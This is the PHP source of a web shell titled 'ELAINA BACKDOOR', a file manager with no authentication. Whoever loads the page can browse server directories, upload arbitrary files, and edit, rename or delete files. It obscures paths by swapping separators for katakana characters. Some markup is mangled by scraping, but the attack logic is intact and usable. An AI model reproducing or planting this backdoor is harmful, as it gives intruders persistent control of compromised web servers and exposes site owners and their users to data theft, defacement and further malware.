- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta http-equiv="X-UA-Compatible" c>
- <meta name="viewport" c initial-scale=1.0">
- <title>ELAINA BACKDOOR</title>
- <style>
- body {
- background-image: url('https://i.ibb.co/Lg1LKLw/elaina.png');
- background-size: cover;
- background-repeat: no-repeat;
- background-attachment: fixed;
- }
- </style>
- <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==" crossorigin="anonymous" referrerpolicy="no-referrer" />
- </head>
- <body>
- <?php
- function formatSizeUnits($bytes)
- {
- if ($bytes >= 1073741824) {
- $bytes = number_format($bytes / 1073741824, 2) . " GB";
- } elseif ($bytes >= 1048576) {
- $bytes = number_format($bytes / 1048576, 2) . " MB";
- } elseif ($bytes >= 1024) {
- $bytes = number_format($bytes / 1024, 2) . " KB";
- } elseif ($bytes > 1) {
- $bytes = $bytes . " bytes";
- } elseif ($bytes == 1) {
- $bytes = $bytes . " byte";
- } else {
- $bytes = "0 bytes";
- }
- return $bytes;
- }
- function fileExtension($file)
- {
- return substr(strrchr($file, "."), 1);
- }
- function fileIcon($file)
- {
- $imgs = [
- "apng",
- "avif",
- "gif",
- "jpg",
- "jpeg",
- "jfif",
- "pjpeg",
- "pjp",
- "png",
- "svg",
- "webp",
- ];
- $audio = ["wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"];
- $ext = strtolower(fileExtension($file));
- if ($file == "error_log") {
- return '<i class="fa-sharp fa-solid fa-bug"></i> ';
- } elseif ($file == ".htaccess") {
- return '<i class="fa-solid fa-hammer"></i> ';
- }
- if ($ext == "html" || $ext == "htm") {
- return '<i class="fa-brands fa-html5"></i> ';
- } elseif ($ext == "php" || $ext == "phtml") {
- return '<i class="fa-brands fa-php"></i> ';
- } elseif (in_array($ext, $imgs)) {
- return '<i class="fa-regular fa-images"></i> ';
- } elseif ($ext == "css") {
- return '<i class="fa-brands fa-css3"></i> ';
- } elseif ($ext == "txt") {
- return '<i class="fa-regular fa-file-lines"></i> ';
- } elseif (in_array($ext, $audio)) {
- return '<i class="fa-duotone fa-file-music"></i> ';
- } elseif ($ext == "py") {
- return '<i class="fa-brands fa-python"></i> ';
- } elseif ($ext == "js") {
- return '<i class="fa-brands fa-js"></i> ';
- } else {
- return '<i class="fa-solid fa-file"></i> ';
- }
- }
- function encodePath($path)
- {
- $a = ["/", "\\", ".", ":"];
- $b = ["イ", "レ", "ー", "ヌ"];
- return str_replace($a, $b, $path);
- }
- function decodePath($path)
- {
- $a = ["/", "\\", ".", ":"];
- $b = ["イ", "レ", "ー", "ヌ"];
- return str_replace($b, $a, $path);
- }
- function uploadFile($path)
- {
- if (isset($_FILES["fileToUpload"])) {
- $target_file = $path . "/" . basename($_FILES["fileToUpload"]["name"]);
- return move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);
- }
- return false;
- }
- $root_path = __DIR__;
- if (isset($_GET["p"])) {
- if (empty($_GET["p"])) {
- $p = $root_path;
- } elseif (!is_dir(decodePath($_GET["p"]))) {
- echo "[removed]\nalert('Directory is Corrupted and Unreadable.');\n[removed].replace('?');\n[removed]";
- } elseif (is_dir(decodePath($_GET["p"]))) {
- $p = decodePath($_GET["p"]);
- }
- } elseif (isset($_GET["q"])) {
- if (!is_dir(decodePath($_GET["q"]))) {
- echo "[removed][removed].replace('?p=');</script>";
- } elseif (is_dir(decodePath($_GET["q"]))) {
- $p = decodePath($_GET["q"]);
- }
- } else {
- $p = $root_path;
- }
- define("PATH", $p);
- echo '
- <nav class="navbar navbar-light">
- <div class="navbar-brand">
- <a href="?"><img src="https://images-wixmp-ed30a86b8c4ca887773594c2.wixmp.com/i/f77a4946-8ae3-447e-884b-97fd0e1ddb57/ddu44up-b61660b7-3748-45d0-8571-ae2731341392.png" width="30" height="30" alt=""></a>
- ';
- $path = str_replace("\\", "/", PATH);
- $paths = explode("/", $path);
- foreach ($paths as $id => $dir_part) {
- if ($dir_part == "" && $id == 0) {
- $a = true;
- echo "<a >/</a>";
- continue;
- }
- if ($dir_part == "") {
- continue;
- }
- echo ">" . $dir_part . "</a>/";
- }
- echo '
- </div>
- <div class="form-inline">
- ><button class="btn btn-dark" type="button">Upload File</button></a>
- <a href="?"><button type="button" class="btn btn-dark">HOME</button></a>
- </div>
- </nav>';
- if (isset($_GET["p"])) {
- if (is_readable(PATH)) {
- $fetch_obj = scandir(PATH);
- $folders = [];
- $files = [];
- foreach ($fetch_obj as $obj) {
- if ($obj == "." || $obj == "..") {
- continue;
- }
- $new_obj = PATH . "/" . $obj;
- if (is_dir($new_obj)) {
- array_push($folders, $obj);
- } elseif (is_file($new_obj)) {
- array_push($files, $obj);
- }
- }
- }
- echo '
- <table class="table table-hover">
- <thead>
- <tr>
- <th scope="col">Name</th>
- <th scope="col">Size</th>
- <th scope="col">Modified</th>
- <th scope="col">Perms</th>
- <th scope="col">Actions</th>
- </tr>
- </thead>
- <tbody>
- ';
- foreach ($folders as $folder) {
- echo " <tr>
- <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
- <td><b>---</b></td>
- <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
- <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
- <td>
- ><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
- ><i class='fa fa-trash' aria-hidden='true'></i></a>
- <td>
- </tr>
- ";
- }
- foreach ($files as $file) {
- echo " <tr>
- <td>" . fileIcon($file) . $file . "</td>
- <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
- <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
- <td>0" . substr(decoct(fileperms(PATH . "/" . $file)), -3) . "</a></td>
- <td>
- ><i class='fa-solid fa-file-pen'></i></a>
- ><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
- ><i class='fa fa-trash' aria-hidden='true'></i></a>
- <td>
- </tr>
- ";
- }
- echo " </tbody>
- </table>";
- } else {
- if (empty($_GET)) {
- echo "[removed][removed].replace('?p=');</script>";
- }
- }
- if (isset($_GET["upload"])) {
- echo '
- <form method="post" enctype="multipart/form-data" acti . htmlspecialchars($_SERVER["REQUEST_URI"]) . '">
- Select file to upload:
- <input type="file" name="fileToUpload" id="fileToUpload">
- <input type="submit" class="btn btn-dark" value="Upload" name="upload">
- </form>';
- }
- if (isset($_GET["r"])) {
- if (!empty($_GET["r"]) && isset($_GET["q"])) {
- echo '
- <form method="post">
- Rename:
- <input type="text" name="name" value="' . $_GET["r"] . '">
- <input type="submit" class="btn btn-dark" value="Rename" name="rename">
- </form>';
- if (isset($_POST["rename"])) {
- $name = PATH . "/" . $_GET["r"];
- if (rename($name, PATH . "/" . $_POST["name"])) {
- echo "[removed]alert('Renamed.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
- } else {
- echo "[removed]alert('Some error occurred.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
- }
- }
- }
- }
- if (isset($_GET["e"])) {
- if (!empty($_GET["e"]) && isset($_GET["q"])) {
- $fileToEdit = PATH . "/" . $_GET["e"];
- if (is_file($fileToEdit) && is_readable($fileToEdit)) {
- echo '
- <form method="post">
- <textarea 500px; width: 90%;" name="data">' . htmlspecialchars(file_get_contents($fileToEdit)) . '</textarea>
- <br>
- <input type="submit" class="btn btn-dark" value="Save" name="edit">
- </form>';
- if (isset($_POST["edit"])) {
- $newData = $_POST["data"];
- if (file_put_contents($fileToEdit, $newData) !== false) {
- echo "[removed]alert('Saved.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
- } else {
- echo "[removed]alert('Failed to save changes.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
- }
- }
- } else {
- echo "[removed]alert('File not found or not readable.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
- }
- }
- }
- if (isset($_POST["upload"])) {
- if (uploadFile(PATH)) {
- echo "<p>" . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
- } else {
- echo "<p>Sorry, there was an error uploading your file.</p>";
- }
- }
- if (isset($_GET["d"]) && isset($_GET["q"])) {
- $name = PATH . "/" . $_GET["d"];
- if (is_file($name)) {
- if (unlink($name)) {
- echo "[removed]alert('File removed.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
- } else {
- echo "[removed]alert('Some error occurred.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
- }
- } elseif (is_dir($name)) {
- if (rmdir($name) == true) {
- echo "[removed]alert('Directory removed.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
- } else {
- echo "[removed]alert('Some error occurred.'); [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
- }
- }
- }
- ?>
- [removed][removed]
- </body>
- </html>